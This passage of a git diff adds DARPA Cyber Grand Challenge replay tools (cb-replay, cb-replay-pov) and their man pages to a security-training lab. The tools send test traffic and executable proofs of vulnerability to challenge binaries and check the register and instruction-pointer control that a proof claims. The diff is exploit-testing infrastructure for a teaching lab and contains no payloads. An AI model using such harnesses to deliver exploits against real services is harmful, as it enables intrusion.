self.log_fail('match group unavailable') + else: + self.log_fail('match failed') + + else: + self.log_fail('unknown expr type: %s' % repr(expr)) + + if value is not None: + self.values[key] = value + if self.debug: + self.log('set %s to %s' % (key, value.encode('hex'))) + self.log_ok('set %s' % (key)) + + def _read_len(self, read_len): + """ + Read a specified size, but only ever get 4096 bytes from the socket + """ + if len(self._read_buffer) >= read_len: + data = self._read_buffer[:read_len] + self._read_buffer = self._read_buffer[read_len:] + return data + + data = [self._read_buffer] + data_len = len(self._read_buffer) + while data_len < read_len: + left = read_len - data_len + data_read = self.sock.recv(max(4096, left)) + if len(data_read) == 0: + self.log_fail('recv failed. (%s so far)' % repr(data)) + self._read_buffer = ''.join(data) + return '' + + data.append(data_read) + data_len += len(data_read) + + data = ''.join(data) + self._read_buffer = data[read_len:] + return data[:read_len] + + def _read_delim(self, delim): + """ + Read until a delimiter is found, but only ever get 4096 bytes from the + socket + """ + while delim not in self._read_buffer: + data_read = self.sock.recv(4096) + if len(data_read) == 0: + self.log_fail('recv failed. No data returned.') + return '' + self._read_buffer += data_read + + depth = self._read_buffer.index(delim) + len(delim) + data = self._read_buffer[:depth] + self._read_buffer = self._read_buffer[depth:] + return data + + def read(self, read_args): + """ Read data from the CB, validating the results + + Args: + read_args: Dictionary of arguments + + Returns: + None + + Raises: + Exception: if 'expr' argument is provided and 'assign' is not + """ + data = '' + try: + if 'length' in read_args: + data = self._read_len(read_args['length']) + self.is_ok(read_args['length'], len(data), 'read length') + elif 'delim' in read_args: + data = self._read_delim(read_args['delim']) + except socket.error as err: + self.log_fail('recv failed: %s' % str(err)) + + if 'echo' in read_args and self.debug: + assert read_args['echo'] in ['yes', 'no', 'ascii'] + + if 'yes' == read_args['echo']: + self.log('received %s' % data.encode('hex')) + elif 'ascii' == read_args['echo']: + self.log('received %s' % repr(data)) + + if 'match' in read_args: + self._perform_match(read_args['match']['values'], data, + read_args['match']['invert']) + + if 'expr' in read_args: + assert 'assign' in read_args + self._perform_expr(read_args['expr'], read_args['assign'], data) + + def _send_all(self, data, max_send=None): + total_sent = 0 + while total_sent < len(data): + if max_send is not None: + sent = self.sock.send(data[total_sent:total_sent+max_send]) + # allow the kernel a chance to forward the data + time.sleep(0.00001) + else: + sent = self.sock.send(data[total_sent:]) + if sent == 0: + return total_sent + total_sent += sent + + return total_sent + + def write(self, args): + """ Write data to the CB + + Args: + args: Dictionary of arguments + + Returns: + None + + Raises: + None + """ + data = [] + for value in args['value']: + if isinstance(value, _ValueStr): + if value not in self.values: + self.log_fail('write failed: %s not available' % value) + return + data.append(self.values[value]) + else: + data.append(value) + to_send = ''.join(data) + + if self.debug: + if args['echo'] == 'yes': + self.log('writing: %s' % to_send.encode('hex')) + elif args['echo'] == 'ascii': + self.log('writing: %s' % repr(to_send)) + + try: + sent = self._send_all(to_send, self.max_send) + if sent != len(to_send): + self.log_fail('write failed. wrote %d of %d bytes' % + (sent, len(to_send))) + return + else: + self.log_ok('write: sent %d bytes' % sent) + except socket.error: + self.log_fail('write failed') + + def _encode(self, records): + """ + record is a list of records in the format (type, data) + + Current wire format: + RECORD_COUNT (DWORD) + record_0_type (DWORD) + record_0_len (DWORD) + record_0_data (record_0_len bytes) + record_N_type (DWORD) + record_N_len (DWORD) + record_N_data (record_N_len bytes) + """ + + packed = [] + for record_type, data in records: + packed.append(struct.pack(':). + + Args: + data: XML element defining a slice + + Returns: + None + + Raises: + AssertionError: If the tag text is not empty + AssertionError: If the tag name is not 'slice' + """ + assert data.tag == 'slice' + assert data.text is None + begin = int(POV.get_attribute(data, 'begin', '0')) + end = POV.get_attribute(data, 'end', None) + if end is not None: + end = int(end) + return slice(begin, end) + + @staticmethod + def compile_string_match(data): + """ Parse a string into an 'asciic' format, for easy use. Allows for + \\r, \\n, \\t, \\\\, and hex values specified via C Style \\x notation. + + Args: + data: String to be parsed into a 'asciic' supported value. + + Returns: + None + + Raises: + AssertionError: if either of two characters following '\\x' are not + hexidecimal values + Exception: if the escaped value is not one of the supported escaped + strings (See above) + """ + # \\, \r, \n, \t \x(HEX)(HEX) + data = str(data) # no unicode support + state = 0 + out = [] + chars = {'n': '\n', 'r': '\r', 't': '\t', '\\': '\\'} + hex_chars = '0123456789abcdef' + hex_tmp = '' + for val in data: + if state == 0: + if val != '\\': + out.append(val) + continue + state = 1 + elif state == 1: + if val in chars: + out.append(chars[val]) + state = 0 + continue + elif val == 'x': + state = 2 + else: + raise Exception('invalid asciic string (%s)' % repr(data)) + elif state == 2: + assert val.lower() in hex_chars + hex_tmp = val + state = 3 + else: + assert val.lower() in hex_chars + hex_tmp += val + out.append(hex_tmp.decode('hex')) + hex_tmp = '' + state = 0 + return ''.join(out) + + @staticmethod + def compile_string(data_type, data): + """ Converts a string from a specified format into the converted into + an optimized form for later use + + Args: + data_type: Which 'compiler' to use + data: String to be 'compiled' + + Returns: + None + + Raises: + None + """ + funcs = { + 'pcre': POV.compile_pcre, + 'asciic': POV.compile_string_match, + 'hex': POV.compile_hex_match, + } + return funcs[data_type](data) + + @staticmethod + def get_child(data, name): + """ Retrieve the specified 'BeautifulSoup' child from the current + element + + Args: + data: Current element that should be searched + name: Name of child element to be returned + + Returns: + child: BeautifulSoup element + + Raises: + AssertionError: if a child with the specified name is not contained + in the specified element + """ + child = data.findChild(name) + assert child is not None + return child + + @staticmethod + def get_attribute(data, name, default=None, allowed=None): + """ Return the named attribute from the current element. + + Args: + data: Element to read the named attribute + name: Name of attribute + default: Optional default value to be returne if the attribute is + not provided + allowed: Optional list of allowed values + + Returns: + None + + Raises: + AssertionError: if the value is not in the specified allowed values + """ + value = default + if name in data.attrib: + value = data.attrib[name] + if allowed is not None: + assert value in allowed + return value + + def add_variable(self, name): + """ Add a variable the POV interaction + + This allows for insurance of runtime access of initialized variables + during parse time. + + Args: + name: Name of variable + + Returns: + None + + Raises: + None + """ + if name not in self._variables: + self._variables.append(name) + + def has_variable(self, name): + """ Verify a variable has been defined + + Args: + name: Name of variable + + Returns: + None + + Raises: + None + """ + return name in self._variables + + def add_step(self, step_type, data): + """ Add a step to the POV iteraction sequence + + Args: + step_type: Type of interaction + data: Data for the interaction + + Returns: + None + + Raises: + AssertionError: if the step_type is not one of the pre-defined + types + """ + assert step_type in ['declare', 'sleep', 'read', 'write'] + self._steps.append((step_type, data)) + + def parse_delay(self, data): + """ Parse a 'delay' interaction XML element + + Args: + data: XML Element defining the 'delay' iteraction + + Returns: + None + + Raises: + AssertionError: if there is not only one child in the 'delay' + element + """ + self.add_step('sleep', float(data.text) / 1000) + + def parse_decl(self, data): + """ Parse a 'decl' interaction XML element + + Args: + data: XML Element defining the 'decl' iteraction + + Returns: + None + + Raises: + AssertionError: If there is not two children in the 'decl' element + AssertionError: If the 'var' child element is not defined + AssertionError: If the 'var' child element does not have only one + child + AssertionError: If the 'value' child element is not defined + AssertionError: If the 'value' child element does not have only one + child + """ + assert len(data) == 2 + assert data[0].tag == 'var' + key = data[0].text + + values = [] + assert data[1].tag == 'value' + assert len(data[1]) > 0 + for item in data[1]: + values.append(self.parse_data(item)) + + value = ''.join(values) + + self.add_variable(key) + self.add_step('declare', {key: value}) + + def parse_assign(self, data): + """ Parse an 'assign' XML element + + Args: + data: XML Element defining the 'assign' iteraction + + Returns: + None + + Raises: + AssertionError: If the 'var' element is not defined + AssertionError: If the 'var' element does not have only one child + AssertionError: If the 'pcre' or 'slice' element of the 'assign' + element is not defined + """ + + assert data.tag == 'assign' + assert data[0].tag == 'var' + assign = data[0].text + self.add_variable(assign) + + if data[1].tag == 'pcre': + expression = POV.compile_string('pcre', data[1].text) + group = POV.get_attribute(data[1], 'group', '0') + expression.group = int(group) + + elif data[1].tag == 'slice': + expression = POV.compile_slice(data[1]) + else: + raise Exception("unknown expr tag: %s" % data[1].tag) + + return assign, expression + + def parse_read(self, data): + """ Parse a 'read' interaction XML element + + Args: + data: XML Element defining the 'read' iteraction + + Returns: + None + + Raises: + AssertionError: If the 'delim' element is defined, it does not have + only one child + AssertionError: If the 'length' element is defined, it does not + have only one child + AssertionError: If both 'delim' and 'length' are specified + AssertionError: If neither 'delim' and 'length' are specified + AssertionError: If the 'match' element is defined, it does not have + only one child + AssertionError: If the 'timeout' element is defined, it does not + have only one child + """ + # + # + + # defaults + read_args = {'timeout': 0} + + # yay, pass by reference. this allows us to just return when we're out + # of sub-elements. + self.add_step('read', read_args) + + read_args['echo'] = POV.get_attribute(data, 'echo', 'no', ['yes', 'no', + 'ascii']) + + assert len(data) > 0 + + children = data.getchildren() + + read_until = children.pop(0) + + if read_until.tag == 'length': + read_args['length'] = int(read_until.text) + elif read_until.tag == 'delim': + read_args['delim'] = self.parse_data(read_until, 'asciic', + ['asciic', 'hex']) + else: + raise Exception('invalid first argument') + + if len(children) == 0: + return + current = children.pop(0) + + if current.tag == 'match': + invert = False + if POV.get_attribute(current, 'invert', 'false', + ['false', 'true']) == 'true': + invert = True + + assert len(current) > 0 + + values = [] + for item in current: + if item.tag == 'data': + values.append(self.parse_data(item, 'asciic', + ['asciic', 'hex'])) + elif item.tag == 'pcre': + values.append(POV.compile_string('pcre', item.text)) + elif item.tag == 'var': + values.append(_ValueStr(item.text)) + else: + raise Exception('invalid data.match element name: %s' % + item.name) + + read_args['match'] = {'invert': invert, 'values': values} + + if len(children) == 0: + return + current = children.pop(0) + + if current.tag == 'assign': + assign, expr = self.parse_assign(current) + read_args['assign'] = assign + read_args['expr'] = expr + if len(children) == 0: + return + current = children.pop(0) + + assert current.tag == 'timeout', "%s tag, not 'timeout'" % current.tag + read_args['timeout'] = int(current.text) + + @staticmethod + def parse_data(data, default=None, formats=None): + """ Parse a 'data' element' + + Args: + data: XML Element defining the 'data' item + formats: Allowed formats + + Returns: + A 'normalized' string + + Raises: + AssertionError: If element is not named 'data' + AssertionError: If the element has more than one child + """ + + if formats is None: + formats = ['asciic', 'hex'] + + if default is None: + default = 'asciic' + + assert data.tag in ['data', 'delim', 'value'] + assert len(data.text) > 0 + data_format = POV.get_attribute(data, 'format', default, formats) + return POV.compile_string(data_format, data.text) + + def parse_write(self, data): + """ Parse a 'write' interaction XML element + + Args: + data: XML Element defining the 'write' iteraction + + Returns: + None + + Raises: + AssertionError: If any of the child elements do not have the name + 'data' + AssertionError: If any of the 'data' elements have more than one + child + """ + # + # + # + + # self._add_variables(name) + + values = [] + assert len(data) > 0 + for val in data: + if val.tag == 'data': + values.append(self.parse_data(val)) + else: + assert val.tag == 'var' + assert self.has_variable(val.text) + values.append(_ValueStr(val.text)) + + echo = POV.get_attribute(data, 'echo', 'no', ['yes', 'no', 'ascii']) + self.add_step('write', {'value': values, 'echo': echo}) + + def parse(self, raw_data, filename=None): + """ Parse the specified replay XML + + Args: + raw_data: Raw XML to be parsed + + Returns: + None + + Raises: + AssertionError: If the XML file has more than top-level children + (Expected: pov and doctype) + AssertionError: If the first child is not a Doctype instance + AssertionError: If the doctype does not specify the replay.dtd + AssertionError: If the second child is not named 'pov' + AssertionError: If the 'pov' element has more than two elements + AssertionError: If the 'pov' element does not contain a 'cbid' + element + AssertionError: If the 'cbid' element value is blank + """ + + self.filename = filename + + tree = ET.fromstring(raw_data) + assert tree.tag == 'pov' + assert len(tree) in [2, 3] + + assert tree[0].tag == 'cbid' + assert len(tree[0].tag) > 0 + self.name = tree[0].text + + assert tree[1].tag in ['seed', 'replay'] + + seed_tree = None + replay_tree = None + if tree[1].tag == 'seed': + seed_tree = tree[1] + replay_tree = tree[2] + else: + seed_tree = None + replay_tree = tree[1] + + if seed_tree is not None: + assert len(seed_tree.tag) > 0 + seed = seed_tree.text + assert len(seed) == 96 + if self.seed is not None: + print "# Seed is set by XML and command line, using XML seed" + self.seed = seed.decode('hex') + + parse_fields = { + 'decl': self.parse_decl, + 'read': self.parse_read, + 'write': self.parse_write, + 'delay': self.parse_delay, + } + + for replay_element in replay_tree: + assert replay_element.tag in parse_fields + parse_fields[replay_element.tag](replay_element) + + def dump(self): + """ Print the steps in the POV, via repr + + Args: + None + + Returns: + None + + Raises: + None + """ + for step in self._steps: + print repr(step) + + +class Results(object): + """ Class to handle gathering result stats from Throw() instances """ + def __init__(self): + self.passed = 0 + self.failed = 0 + self.errors = 0 + self.full_passed = 0 + + def cb_pov_result(self, results): + """ + Throw() result callback + + Arguments: + results: tuple containing the number of results passed, failed, and + a list of logs + + Returns: + None + + Raises: + None + """ + got_passed, got_failed, got_logs = results + print '\n'.join(got_logs) + self.passed += got_passed + self.failed += got_failed + if got_failed > 0: + self.errors += 1 + else: + self.full_passed += 1 + +def init_worker(): + signal.signal(signal.SIGINT, signal.SIG_IGN) + +def run_pov(src, dst, pov_info, timeout, debug, max_send, negotiate, cb_seed, munge_seed): + """ + Parse and Throw a POV/Poll + + Arguments: + src: IP/Port tuple for the source of the connection + dst: IP/Port tuple for the destination of the connection + pov_info: content/filename tuple of the POV + timeout: How long the POV communication is allowed to take + debug: Flag to enable debug logs + max_send: Maximum amount of data for each send request + negotiate: Should the poller negotiate with cb-server + cb_seed: specify a seed to use in the pools + munge_seed: should the seed be xored before use + + Returns: + The number of passed tests + The number of failed tests + A list containing the logs + + Raises: + Exception if parsing the POV times out + """ + + xml, filename = pov_info + pov = POV(seed=cb_seed) + error = None + try: + with Timeout(30): + pov.parse(xml, filename=filename) + except TimeoutException: + error = "parsing %s timed out" % filename + except ET.ParseError as err: + error = "parsing %s errored: %s" % (filename, str(err)) + + if munge_seed: + pov.mutate_seed() + + thrower = Throw(src, dst, pov, timeout, debug, max_send, negotiate) + if error is not None: + try: + thrower.log_fail(error) + except TestFailure: + pass # log_fail throws an exception on purpose + else: + try: + with Timeout(timeout): + thrower.run() + except TimeoutException: + try: + thrower.log_fail('pov timed out') + except TestFailure: + # this exception should always happen. don't stop because + # one timed out. + pass + thrower.dump() + + return thrower.passed, thrower.failed, thrower.logs + + +def main(): + """ Parse and Throw the POVs """ + parser = argparse.ArgumentParser(description='Send CGC Polls and POVs') + required = parser.add_argument_group(title='required arguments') + required.add_argument('--host', required=True, type=str, + help='IP address of CB server') + required.add_argument('--port', required=True, type=int, + help='PORT of the listening CB') + required.add_argument('files', metavar='xml_file', type=str, nargs='+', + help='POV/Poll XML file') + parser.add_argument('--source_host', required=False, type=str, default='', + help='Source IP address to use in connections') + parser.add_argument('--source_port', required=False, type=int, + default=0, help='Source port to use in connections') + parser.add_argument('--concurrent', required=False, type=int, default=1, + help='Number of Polls/POVs to throw concurrently') + parser.add_argument('--timeout', required=False, type=int, default=None, + help='Connect timeout') + parser.add_argument('--munge_seed', required=False, action='store_true', + default=False, help='Bit invert the seed for testing') + parser.add_argument('--failure_ok', required=False, action='store_true', + default=False, + help='Failures for this test are accepted') + parser.add_argument('--debug', required=False, action='store_true', + default=False, help='Enable debugging output') + parser.add_argument('--max_send', required=False, type=int, + help='Maximum amount of data in each send call') + parser.add_argument('--negotiate', required=False, action='store_true', + default=False, help='The CB seed should be negotiated') + parser.add_argument('--cb_seed', required=False, type=str, + help='Specify the CB Seed') + + args = parser.parse_args() + + assert args.concurrent > 0, "Conccurent count must be less than 1" + + if args.cb_seed is not None and not args.negotiate: + raise Exception('CB Seeds can only be set with seed negotiation') + + povs = [] + for pov_filename in args.files: + pov_xml = [] + if pov_filename.endswith('.xml'): + with open(pov_filename, 'rb') as pov_fh: + pov_xml.append(pov_fh.read()) + elif pov_filename.endswith('.zip'): + with zipfile.ZipFile(pov_filename, 'r') as pov_fh: + for filename in pov_fh.namelist(): + pov_xml.append(pov_fh.read(filename)) + else: + raise Exception('unknown POV format') + + for xml in pov_xml: + povs.append((xml, pov_filename)) + + result_handler = Results() + pool = multiprocessing.Pool(args.concurrent, init_worker) + pool_responses = [] + try: + for pov in povs: + pov_args = ((args.source_host, args.source_port), + (args.host, args.port), pov, args.timeout, args.debug, + args.max_send, args.negotiate, args.cb_seed, + args.munge_seed) + if args.concurrent > 1: + pool_response = pool.apply_async(run_pov, args=pov_args, + callback=result_handler.cb_pov_result) + pool_responses.append(pool_response) + else: + result_handler.cb_pov_result(run_pov(*pov_args)) + + for response in pool_responses: + response.get() + + except KeyboardInterrupt: + print "# Interrupted. Logging as error" + result_handler.errors += 1 + if args.concurrent > 1: + pool.terminate() + finally: + if args.concurrent > 1: + pool.close() + pool.join() + + print "# total tests passed: %d" % result_handler.passed + print "# total tests failed: %d" % result_handler.failed + print "# polls passed: %d" % result_handler.full_passed + print "# polls failed: %d" % result_handler.errors + + if args.failure_ok: + return 0 + else: + return result_handler.errors != 0 + +if __name__ == "__main__": + exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay-pov b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay-pov new file mode 100755 index 000000000..814498253 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/_system/usr/sbin/cb-replay-pov @@ -0,0 +1,519 @@ +#!/usr/bin/env python + +""" +CB POV / Poll communication verification tool + +Copyright (C) 2014 - Brian Caswell + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +This tool allows for deterministic communication to a CGC Challenge Binary +using a Challenge Binary as input. + +1 - http://testanything.org/ +""" + +import subprocess +import multiprocessing +import random +import sys +import argparse +import os +import signal +import re +import socket +import struct +import time + +class TimeoutException(Exception): + """ Exception to be used by Timeout(), to allow catching of timeout + exceptions """ + pass + + +class TestFailure(Exception): + """ Exception to be used by Throw(), to allow catching of test failures """ + pass + + +class Timeout(object): + """ Timeout - A class to use within 'with' for timing out a block via + exceptions and alarm.""" + + def __init__(self, seconds): + self.seconds = seconds + + @staticmethod + def cb_handle_timeout(signum, frame): + """ SIGALRM signal handler callback """ + raise TimeoutException("timed out") + + def __enter__(self): + if self.seconds > 0: + signal.signal(signal.SIGALRM, self.cb_handle_timeout) + signal.alarm(self.seconds) + + def __exit__(self, exit_type, exit_value, traceback): + if self.seconds: + signal.alarm(0) + + +def ptrace_traceme(): + from ctypes import cdll + from ctypes.util import find_library + from ctypes import c_long, c_ulong + + LIBC_FILENAME = find_library('c') + libc = cdll.LoadLibrary(LIBC_FILENAME) + + _ptrace = libc.ptrace + _ptrace.argtypes = (c_ulong, c_ulong, c_ulong, c_ulong) + _ptrace.restype = c_ulong + + PTRACE_TRACEME = 0 + + result = _ptrace(PTRACE_TRACEME, 0, 0, 0) + result_signed = c_long(result).value + return result_signed + +def launch_gdb_proxy(pid, attach_port): + gdb_pid = os.fork() + if gdb_pid == 0: + subprocess.call(['/usr/bin/gdbserver', ':%d' % attach_port, '--attach', '%d' % pid]) + exit(0) + else: + # ugh. + time.sleep(2) + result = os.waitpid(gdb_pid, os.WNOHANG) + if result != (0, 0): + print "Unable to attach to the process" + return 0 + + return gdb_pid + +class Throw(object): + """Throw - Perform the interactions with a CB + + This class implements the basic methods to interact with a CB, verifying + the interaction works as expected. + + Usage: + a = Throw((source_ip, source_port), (target_ip, target_port), POV, + timeout, should_debug, negotiate, cb_seed, attach_port) + a.run() + + Attributes: + source: touple of host and port for the outbound connection + target: touple of host and port for the CB + + count: Number of actions performed + + debug: Is debugging enabled + + failed: Number of actions that did not work as expected + + passed: Number of actions that did worked as expected + + pov: POV, as defined by POV() + + sock: TCP Socket to the CB + + timeout: connection timeout + + values: Variable dictionary + + logs: all of the output from the interactions + + negotiate: Should the PRNG be negotiated with the CB + + """ + def __init__(self, source, target, pov, timeout, debug, negotiate, cb_seed, attach_port, max_send, pov_seed): + self.times = 10 + self.source = source + self.target = target + self.count = 0 + self.failed = 0 + self.passed = 0 + self.pov = pov + self.debug = debug + self.sock = None + self.timeout = timeout + self.negotiate_fd_fd = negotiate + self.negotiate = negotiate + self.cb_seed = cb_seed + self.logs = [] + self.attach_port = attach_port + self.max_send = max_send + self.pov_seed = pov_seed + + if self.cb_seed is None: + self.cb_seed = os.urandom(48) + else: + self.cb_seed = self.cb_seed.decode('hex') + + def setup_negotiation(self): + if not self.is_pov(): + return + self.negotiate_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.negotiate_fd.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + self.negotiate_fd.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 5)) + self.negotiate_fd.bind(('',0)) + self.negotiate_fd.listen(self.times) + negotiate_address = self.negotiate_fd.getsockname() + + if self.debug: + self.log("negotiation listen at: %s" % repr(negotiate_address)) + + self.negotiate_fd_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.negotiate_fd_client.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + self.negotiate_fd_client.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 5)) + self.negotiate_fd_client.connect(negotiate_address) + + def log(self, data): + print "# %s" % data + + def count_bits_set(self, value): + count = 0 + while value: + value &= value - 1 + count += 1 + return count + + def recv_all(self, sock, data_len): + data = '' + while len(data) < data_len: + read = sock.recv(data_len - len(data)) + assert len(read) + data += read + return data + + def pov_negotiate(self): + MIN_BITS = 20 + if not self.is_pov(): + return + + if self.debug: + self.log("negotiating") + connection, address = self.negotiate_fd.accept() + + # as soon as we've accepted one, drop this server. + self.negotiate_fd.close() + + data = self.recv_all(connection, 4) + pov_type = struct.unpack(' 7: + self.log('invalid GPR') + accept = False + + if accept: + ip = random.randint(0, 0xFFFFFFFF) & ipmask + reg = random.randint(0, 0xFFFFFFFF) & regmask + + self.log('type 1 masks: %08x %08x' % (ipmask, regmask)) + self.log('type 1 pov: %08x %08x %d' % (ip, reg, regnum)) + + pov_values = struct.pack(' 0 and not self.attach_port: + signal.alarm(self.timeout) + + os.dup2(self.sock.fileno(), sys.stdin.fileno()) + os.dup2(self.sock.fileno(), sys.stdout.fileno()) + + if not self.debug: + null = os.open('/dev/null', 0) + os.dup2(null, 2) + os.close(null) + + if self.is_pov(): + os.dup2(self.negotiate_fd_client.fileno(), 3) + + if self.attach_port: + ptrace_traceme() + + args = [self.pov] + + if self.max_send > 0: + args.append('max_transmit=%d' % self.max_send) + args.append('max_receive=%d' % self.max_send) + + if self.pov_seed: + args.append('seed=%s' % self.pov_seed) + + queue.get(1) + os.execv(self.pov, args) + exit(-1) + else: + if self.attach_port: + gdb_pid = launch_gdb_proxy(pid, self.attach_port) + + queue.put(1) + + if self.timeout > 0 and not self.attach_port: + with Timeout(self.timeout + 5): + self.pov_negotiate() + else: + self.pov_negotiate() + + if self.debug: + self.log('waiting') + + return os.waitpid(pid, 0) + +def init_worker(): + signal.signal(signal.SIGINT, signal.SIG_IGN) + +def run_pov(src, dst, pov, timeout, debug, negotiate, cb_seed, attach, max_send, pov_seed): + """ + Parse and Throw a POV/Poll + + Arguments: + src: IP/Port tuple for the source of the connection + dst: IP/Port tuple for the destination of the connection + pov: filename of the POV + timeout: How long the POV communication is allowed to take + debug: Flag to enable debug logs + negotate: Should PRNG be negotiated with the CB + cb_seed: seed to use in the CB + attach: should the POV be run under gdbserver + max_send: maximum amount of transmit/receive + pov_seed: the POV seed to use + + Returns: + The number of passed tests + The number of failed tests + A list containing the logs + + Raises: + Exception if parsing the POV times out + """ + + thrower = Throw(src, dst, pov, timeout, debug, negotiate, cb_seed, attach, + max_send, pov_seed) + return thrower.run() + +def main(): + """ Parse and Throw the POVs """ + parser = argparse.ArgumentParser(description='Send CB based CGC Polls and POVs') + required = parser.add_argument_group(title='required arguments') + required.add_argument('--host', required=True, type=str, + help='IP address of CB server') + required.add_argument('--port', required=True, type=int, + help='PORT of the listening CB') + required.add_argument('files', metavar='pov', type=str, nargs='+', + help='pov file') + parser.add_argument('--source_host', required=False, type=str, default='', + help='Source IP address to use in connections') + parser.add_argument('--source_port', required=False, type=int, + default=0, help='Source port to use in connections') + parser.add_argument('--timeout', required=False, type=int, default=15, + help='Connect timeout') + parser.add_argument('--max_send', required=False, type=int, default=0, + help='Maximum amount of data to send and receive at once') + parser.add_argument('--debug', required=False, action='store_true', + default=False, help='Enable debugging output') + parser.add_argument('--negotiate', required=False, action='store_true', + default=False, help='The CB seed should be negotiated') + parser.add_argument('--cb_seed', required=False, type=str, + help='Specify the CB Seed') + parser.add_argument('--pov_seed', required=False, type=str, + help='Specify the POV Seed') + parser.add_argument('--attach_port', required=False, type=int, + help='Attach with gdbserver prior to launching the ' + 'POV on the specified port') + + args = parser.parse_args() + + if args.cb_seed is not None and not args.negotiate: + raise Exception('CB Seeds can only be set with seed negotiation') + + assert len(args.files) + for filename in args.files: + assert os.path.isfile(filename), "pov must be a file: %s" % repr(filename) + assert filename.endswith('.pov'), "%s does not end in .pov" % repr(filename) + + pool_responses = [] + for pov in args.files: + pid, status = run_pov((args.source_host, args.source_port), + (args.host, args.port), pov, args.timeout, + args.debug, args.negotiate, args.cb_seed, + args.attach_port, args.max_send, args.pov_seed) + + return status != 0 + + +if __name__ == "__main__": + exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay-pov.md b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay-pov.md new file mode 100644 index 000000000..358bdae9f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay-pov.md @@ -0,0 +1,72 @@ +% CB-REPLAY-POV(1) Cyber Grand Challenge Manuals +% Brian Caswell +% May 5, 2015 + +# NAME + +cb-replay-pov - CB POV replay utility + +# SYNOPSIS + +cb-replay-pov [options] --host *HOST* --port *PORT* *POV* [*POV* ...] + +# DESCRIPTION + +cb-replay-pov is a utility to send deterministic testing traffic to a CGC challenge binary (CB) from a POV that is an executable. + +# ARGUMENTS +\-\-port *PORT* +: Specify the TCP port used for testing the CB. + +\-\-host *HOST* +: Specify the IP address used for testing the CB. + +*POV* +: Specify the POV binary to be used with the replay tool. Multiple POVs can be tested at once. + +# OPTIONS +\-h +: Display a usage message and exit + +\-\-timeout *TIMEOUT* +: Specify the timeout for connecting to challenge binaries. + +\-\-debug +: Specify if debug output should be enabled. + +\-\-cb_seed *SEED* +: Specify the CB seed + +\-\-pov_seed *SEED* +: Specify the POV seed + +\-\-source_host *HOST* +: Specify the Source IP of the connection to the CB + +\-\-source_host *PORT* +: Specify the Source PORT of the connection to the CB + +\-\-negotiate +: Specify the PRNG for the CB should be negotiated + +\-\-attach_port *PORT* +: Attach to the POV with gdbserver prior to execution on the specified port + +# EXAMPLE USES + +* cb-replay-pov --host 127.0.0.1 --port 10000 test.pov + +This will test the challenge binary listening on port '10000' on the IP address '127.0.0.1' with the POV 'test.pov' + +* cb-replay-pov --host 10.10.10.10 --port 31337 test-1.pov test-2.pov test-3.pov + +This will test the challenge binary listening on port '31337' on the IP address '10.10.10.10' with the Poll/POVs 'test-1.pov', 'test-2.pov', 'test-3.pov'. + +# COPYRIGHT + +Copyright (C) 2015, Brian Caswell + +# SEE ALSO +For information regarding the TAP Format, see + +For more information relating to DARPA's Cyber Grand Challenge, please visit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay.md b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay.md new file mode 100644 index 000000000..50a66beaa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/client/cb-replay.md @@ -0,0 +1,62 @@ +% CB-REPLAY(1) Cyber Grand Challenge Manuals +% Brian Caswell +% April 18, 2014 + +# NAME + +cb-replay - POV/Poll replay utility + +# SYNOPSIS + +cb-replay [options] --host *HOST* --port *PORT* *XML* [*XML* ...] + +# DESCRIPTION + +cb-replay is a utility to send deterministic testing traffic to a CGC challenge binary (CB), following an XML specification. Results are recorded in the TAP format. + +# ARGUMENTS +\-\-port *PORT* +: Specify the TCP port used for testing the CB. + +\-\-host *HOST* +: Specify the IP address used for testing the CB. + +*XML* +: Specify the XML files to be used with the replay tool. These can be POVs or polls. Multiple XML files can be tested at once. + +# OPTIONS +\-h +: Display a usage message and exit + +\-\-concurrent *NUMBER* +: Specify the number of POVs/polls to run concurrently. + +\-\-timeout *TIMEOUT* +: Specify the timeout for connecting to challenge binaries. + +\-\-failure_ok +: Specify if failures are acceptable. Useful for testing a POV against a patched CB. + +\-\-debug +: Specify if debug output should be enabled. + +# EXAMPLE USES + +* cb-replay --host 127.0.0.1 --port 10000 test-1.xml + +This will test the challenge binary listening on port '10000' on the IP address '127.0.0.1' with the Poll/POV 'test-1.xml'. + +* cb-replay --host 10.10.10.10 --port 31337 test-1.xml test-2.xml test-3.xml + +This will test the challenge binary listening on port '31337' on the IP address '10.10.10.10' with the Poll/POVs 'test-1.xml', 'test-2.xml', 'test-3.xml'. + +# COPYRIGHT + +Copyright (C) 2014, Brian Caswell + +# SEE ALSO +For the Replay DTD, see '/usr/share/cgc-docs/replay.dtd'. + +For 